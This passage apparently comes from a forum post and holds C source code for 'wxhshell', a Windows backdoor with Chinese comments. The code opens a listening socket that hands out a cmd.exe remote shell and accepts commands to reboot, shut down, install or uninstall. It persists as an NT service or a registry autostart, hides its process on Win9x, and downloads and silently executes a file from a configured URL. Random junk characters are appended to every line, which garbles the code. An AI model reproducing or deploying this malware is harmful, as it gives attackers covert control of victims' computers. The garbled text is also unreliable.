  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y%\kgWV  
  } Q5/".x^@  
  else { KyNv)=x4c  
\ M8;CN  
    switch(cmd[0]) { }ruBbeQ  
  x2[A(O=  
  // 帮助 IiIF4 pQ,  
  case '?': { hO@'WoniW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~k4S~!(U0  
    break; ,)nO   
  } PygaW&9Z|d  
  // 安装 Lu6!W  
  case 'i': { 5R/!e`(m  
    if(Install()) k 0z2)3L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !,PG!Gnl  
    else =zt@*o{F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )avli@W-3j  
    break; InMF$pw  
    } +hRAU@RA  
  // 卸载 *obBo6!zM  
  case 'r': { gyJ$ Jp  
    if(Uninstall()) ub6=^`>h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iXMs*G cK  
    else ,l#Ev{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G0|j3y9$  
    break; try'%0}>  
    } Qq(/TA0$-  
  // 显示 wxhshell 所在路径 hkee,PiiP  
  case 'p': { } O8|_d  
    char svExeFile[MAX_PATH]; [ K;3Qf)  
    strcpy(svExeFile,"\n\r"); lh&Q{t(+8  
      strcat(svExeFile,ExeFile); M;,Q8z%  
        send(wsh,svExeFile,strlen(svExeFile),0); ]i)m   
    break; ,n}X,#]  
    } xg k~y,F  
  // 重启 lphQZ{8  
  case 'b': { a1_7plg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OW\r }  
    if(Boot(REBOOT)) gh|TlvnA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m@R!o  
    else { )Y+n4UL3NK  
    closesocket(wsh); X<m#:0iD  
    ExitThread(0); ?`,<l#sj  
    } >fPa>[_1  
    break; 9"K EHf!  
    } +ZEj(fd9  
  // 关机 <T+)~&g$  
  case 'd': { YN#i^(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); De@GNN"-  
    if(Boot(SHUTDOWN)) ,8nu%zcVn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |?hNl2m  
    else { F$7>q'#  
    closesocket(wsh); a_P8!pk+5  
    ExitThread(0); >}%  
    } j{U?kW{o  
    break; 9`81br+~  
    } R$IxR=hMx  
  // 获取shell '.r_6X$7Jt  
  case 's': { <spVUp  
    CmdShell(wsh); A'HFpsa  
    closesocket(wsh); L}pMjyM  
    ExitThread(0); K>hQls+  
    break; //n$#c _}u  
  } {b6| wQ\  
  // 退出 s4/4o_[W  
  case 'x': { : a @_GIC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); > L_kSC?  
    CloseIt(wsh); sa$CCQ  
    break; 8i/5L=a"`  
    } '/%]B@!  
  // 离开 zgXg-cr  
  case 'q': { (`\ DDJ[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }lt5!u~}  
    closesocket(wsh); GKTt!MK  
    WSACleanup(); 7v3'JG1r-  
    exit(1); 1t wC-rC  
    break; Jd?N5.  
        } kVR_?ch{  
  } ZxLdh8v.  
  } (3~h)vaJ  
jR[VPm=  
  // 提示信息 lZ|+.T!g?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]Jz2[F"J  
} !_C*2+f  
  } RC'4%++Nz  
2wLnRP`*  
  return; /.P9n9  
} 9.u}<m  
:}'5'oVG  
// shell模块句柄 h|qTMwPr  
int CmdShell(SOCKET sock) /9T.]H ~  
{ ,Ta k',  
STARTUPINFO si; -5vg"|ia,  
ZeroMemory(&si,sizeof(si)); (7Su{tq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~(i#A>   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]Fi_v?42x  
PROCESS_INFORMATION ProcessInfo; B' }h6ZH  
char cmdline[]="cmd"; $eHYy,,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yp}J+/PX}  
  return 0; 3v\69s  
} U'~M(9uv:  
)Y4;@pEU  
// 自身启动模式 Z~R7 G  
int StartFromService(void) e}lF#$  
{ ) uM*`%  
typedef struct /LwS|c6}}  
{ `CpfQP&^  
  DWORD ExitStatus; NM FgCL  
  DWORD PebBaseAddress; de7 \~$  
  DWORD AffinityMask; mok94XuK)  
  DWORD BasePriority;  +_E^E  
  ULONG UniqueProcessId; /q1k)4?E  
  ULONG InheritedFromUniqueProcessId; DVJuX~'|!  
}   PROCESS_BASIC_INFORMATION; z)tULnR8  
wrP3:!=  
PROCNTQSIP NtQueryInformationProcess; -S\gDB bb  
p1F{ v^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1S[4@rZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,~Y[XazT  
:m]KVcF.  
  HANDLE             hProcess; {L'uuG\9U  
  PROCESS_BASIC_INFORMATION pbi; q@i>)nC R  
osM[Xv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jb/VITqN4  
  if(NULL == hInst ) return 0; xAwP  
#W$6[#7=I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L"8Z5VHA&&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y^0 mf|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2CMWJi  
J]W? V vv  
  if (!NtQueryInformationProcess) return 0; [_T6  
8u%rh[g'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8Y"R@'~  
  if(!hProcess) return 0; .R^R32ln  
s4uZ>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4 :phq  
:3N6Ej  
  CloseHandle(hProcess); LbkQuq/d  
]qb>O:T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8q]_> X  
if(hProcess==NULL) return 0; 8B?*?,n5  
]FNe&o1zX  
HMODULE hMod; =Q,D3F -+f  
char procName[255]; t/lQSUip  
unsigned long cbNeeded; \J(kevX  
h[bC#(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (I/ZI'Ydy  
&t U&ZH  
  CloseHandle(hProcess); :jy}V'bn$  
s .@Szq  
if(strstr(procName,"services")) return 1; // 以服务启动 _BEDQb{"|  
sF Ph?  
  return 0; // 注册表启动 w1EB>!<;tj  
} C>Q|"Vf2  
=}" P;4:  
// 主模块 Alv"D  
int StartWxhshell(LPSTR lpCmdLine) a|5<L  
{ !q~f;&rg  
  SOCKET wsl; ^V~^[Yp  
BOOL val=TRUE; !<&To  
  int port=0; 9ec>#Vxx  
  struct sockaddr_in door; 6<%b}q9Mo  
5g`J}@"k  
  if(wscfg.ws_autoins) Install(); HBNX a  
VtzBYza  
port=atoi(lpCmdLine); }tW1\@ =  
} rX)A\ g6  
if(port<=0) port=wscfg.ws_port; SmS6B5j\R  
bN&DotG  
  WSADATA data; \=[38?QOY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %(S!/(LWW  
th{ie2$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nf-6[dg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^jXKM!}-E  
  door.sin_family = AF_INET; Vp1Q^`a{G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :j#zn~7  
  door.sin_port = htons(port); _} j6Pw'  
</B:Zjn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T2A74>Nw  
closesocket(wsl); ac,<+y7A  
return 1; o4^#W;%w  
} .zy2_3:  
xouBBb=  
  if(listen(wsl,2) == INVALID_SOCKET) { &gP1=P,!  
closesocket(wsl); ;Za^).=  
return 1; sHPlNwyy  
} lmIphOUoIw  
  Wxhshell(wsl); u`XZtF<vf  
  WSACleanup(); gk}.L E  
LWxP}? =  
return 0; [B^V{nUBc  
&Z}}9dd  
} pf#R]  
@7t*X-P.;-  
// 以NT服务方式启动 4<- E0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l}FA&c"  
{ W6)XMl}n  
DWORD   status = 0; x&N@R?AG1  
  DWORD   specificError = 0xfffffff; gF]IAZCi  
P@<K&S+f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; " ;o, D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @7sHFwtar?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PWV+ M@  
  serviceStatus.dwWin32ExitCode     = 0; iA4VT,  
  serviceStatus.dwServiceSpecificExitCode = 0; .B! L+M< [  
  serviceStatus.dwCheckPoint       = 0; 3!Mb<W.3  
  serviceStatus.dwWaitHint       = 0; - v=ndJ.  
1`1Jn*|TI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lrgvY>E0  
  if (hServiceStatusHandle==0) return; 6|Crc$4l  
"Z"`X3,-z  
status = GetLastError(); BPy pA $  
  if (status!=NO_ERROR) AY]rQ:I  
{ )LL.fPic  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;`Sn66&  
    serviceStatus.dwCheckPoint       = 0; (9)uZ-BF,  
    serviceStatus.dwWaitHint       = 0; [C3wjYi  
    serviceStatus.dwWin32ExitCode     = status; U9Lo0K  
    serviceStatus.dwServiceSpecificExitCode = specificError; tbB.n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t?p>L*  
    return; v){X&HbP  
  } r2&/Ii+  
W,%qL6qV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zB"y^g  
  serviceStatus.dwCheckPoint       = 0; 3P*"$fH  
  serviceStatus.dwWaitHint       = 0; Zf?jnDA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '1lz`CAB+  
} /pp;3JPf  
R;w1& Z  
// 处理NT服务事件,比如:启动、停止 s="cg0PD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j[w5#]&%  
{  rjHW  
switch(fdwControl) &qV_|f;  
{ ++}#pl8e  
case SERVICE_CONTROL_STOP: LfsOGC  
  serviceStatus.dwWin32ExitCode = 0; fM<g++X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MENrP5AL  
  serviceStatus.dwCheckPoint   = 0; \qbEC.-K  
  serviceStatus.dwWaitHint     = 0; "; ?^gA  
  { XE|"n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tTe:Oq  
  } k")3R}mX  
  return; Csm23QLsg)  
case SERVICE_CONTROL_PAUSE: FFc?Av?_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z\<gm$1CB  
  break; K st2.Yy  
case SERVICE_CONTROL_CONTINUE: k= 9a/M u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,oj)`?Vh  
  break; L_AQS9a^D  
case SERVICE_CONTROL_INTERROGATE: y|%lw%cSe  
  break; 5dLb`G f  
}; lW@i,1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zh4m`}p  
} t<qXXQ&5  
CHM+@lD  
// 标准应用程序主函数 GV SVNT}I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y;8.(0r/  
{ BeM|1pe.  
!7uFH PK-  
// 获取操作系统版本 ;4(FS  
OsIsNt=GetOsVer(); ACH!Gw~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y/ah<Y0(  
+C(/.X Kz%  
  // 从命令行安装 E2|c;{ c  
  if(strpbrk(lpCmdLine,"iI")) Install(); W.<I:q`eO  
J]Qbg7|  
  // 下载执行文件 5?MKx!%  
if(wscfg.ws_downexe) { !%YV0O0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :;Wh!8+j  
  WinExec(wscfg.ws_filenam,SW_HIDE); SZC1$..2T  
} 5,?Au  
j=w`%nh4"f  
if(!OsIsNt) { 0bG2YMs  
// 如果时win9x,隐藏进程并且设置为注册表启动 PciiDh~/  
HideProc(); ON$-g_s>)  
StartWxhshell(lpCmdLine); Z65]|  
} O0> ^?dsL  
else _6'HBE  
  if(StartFromService()) _qhYG1t  
  // 以服务方式启动 CFx$r_!~  
  StartServiceCtrlDispatcher(DispatchTable);  4K$d%  
else w24@KaKFo  
  // 普通方式启动 lmr:PX  
  StartWxhshell(lpCmdLine); (~n0,$  
iLG~_Ob:  
return 0; (yi{<$ U*  
}
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只看该作者 1 发表于: 2006-10-10
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